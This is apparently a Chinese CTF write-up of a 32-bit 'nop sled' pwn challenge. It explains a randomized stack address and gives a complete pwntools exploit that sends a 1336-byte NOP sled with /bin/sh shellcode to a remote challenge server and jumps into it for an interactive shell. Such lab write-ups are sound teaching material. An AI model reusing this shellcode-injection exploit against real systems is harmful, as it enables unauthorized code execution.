题目:32bit nop sled

checksec
截图

只有栈溢出保护

IDA分析
截图

运行一下
截图
这个 v5 地址被打印输出,但一直是动态变化的。

代码的大概意思是先输出一些信息,然后输出的会有栈中的地址,从 query_position 函数可以发现函数返回值是 v1 的地址加上 v2 的值,而 v1 是局部变量,那么它的地址就是栈里的地址,加上 v2 就代表接收函数返回值的变量 position=v1 的地址 + v2 的值 (即 & v1+v2)。然后程序会让我们输入大小为 4096 的字符串给 seed 变量,之后再让我们输入一个地址,将其赋给 v5,然后使用 v5 从我们输入的这个地址执行这个地址的代码。

因此我们可以从堆栈中执行。向程序提供 shellcode 很容易,因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode 的地址从而执行这个 shellcode。

刚好有个 fgets 可以读取 shellcode 到 seed,但是我们并不知道 seed 的地址。

跟进 query_position 函数:
截图
char *query_position() 作用是生成一个基于随机偏移的栈地址,得到一个范围在 -668 到 668 之间的随机整数,并将其存储在变量 v2 中
这里学到一个新知识:nop sled空雪橇操作:
我自己的理解就是因为这道题的栈地址是随机生成的,所以就类似于c语言的遍历,给出范围内的很多个nop指令(无操作,仅使程序计数器加一)就像雪橇一样滑到攻击代码存在的地址

为了安全地 “绕过” 不知道缓冲区的确切开始位置,我们可以:

1、将 shellcode 填充为以 1336 nop 条指令开头 (0x90)。

2、使用 的返回值 query_position ,添加 0x2d (如前所述),然后添加 668。

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='i386',os='linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28134)
shellcode = asm(shellcraft.sh())
payload = '\x90'*1336 + shellcode
io.recvuntil("The current location: ")
addr = int(io.recvline(),16)
io.recvuntil("> ")
io.sendline(payload)
io.recvuntil("> ")
shell_addr = addr + 0x2d + 668
io.sendline(hex(shell_addr))
io.interactive()

因为是看别人wp做出来的,所以一开始对于shell_addr中0x2d部分有些疑惑
给出的解释是
最开始的地址ebp-0x15[0x15]
加上旧ebp[4]
加上返回地址[4]
padding[0x10]
主要是这个padding
我的理解是在旧ebp中v1占1字节,v2占4字节
但是分配了0x15的位置
所以里面的填充字节就是[0x10]
所以为了对齐,在新的地址中
也要给出0x10的padding